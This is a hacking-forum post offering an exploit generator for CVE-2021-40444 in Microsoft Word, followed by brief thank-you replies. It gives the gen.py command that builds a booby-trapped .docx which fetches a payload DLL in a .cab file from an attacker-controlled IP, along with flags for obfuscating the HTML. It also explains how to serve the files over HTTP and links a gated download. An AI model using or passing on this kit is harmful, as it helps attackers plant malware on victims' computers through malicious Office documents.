The new Vulnerability on microsoft office word file.docx

[0dayhacker]

CVE-2021-40444​

Usage​

Ensure to run setup.sh first as you will need few directories. Once you have run the script, you should be able to run gen.py with the example given:

# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3

# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity

Notes​

1. The location of http.server will be in web directory. This directory will have 3 files:-

• .cab
• .html
• .docx

boom!...

for better understanding:

LokiBot Campaign Targets Microsoft Office Document Using Vulnerabilities and Macros | FortiGuard Labs

FortiGuard Labs investigates malicious Microsoft Office documents that dropped the LokiBot malware onto a victim's system. Get an analysis of the intricacies of this threat and awareness of its ope…

www.fortinet.com

----------------------------------------------------------------------------
Link:

To view the content, you need to Sign In or Register.

Click to read more...

 

[3N1GM4]

You sir are a rare gem.

 

[pexuanmike]

thank you

 

[kennyl01]

Thank you

 

[mustark]

why "new" ? this is an old one...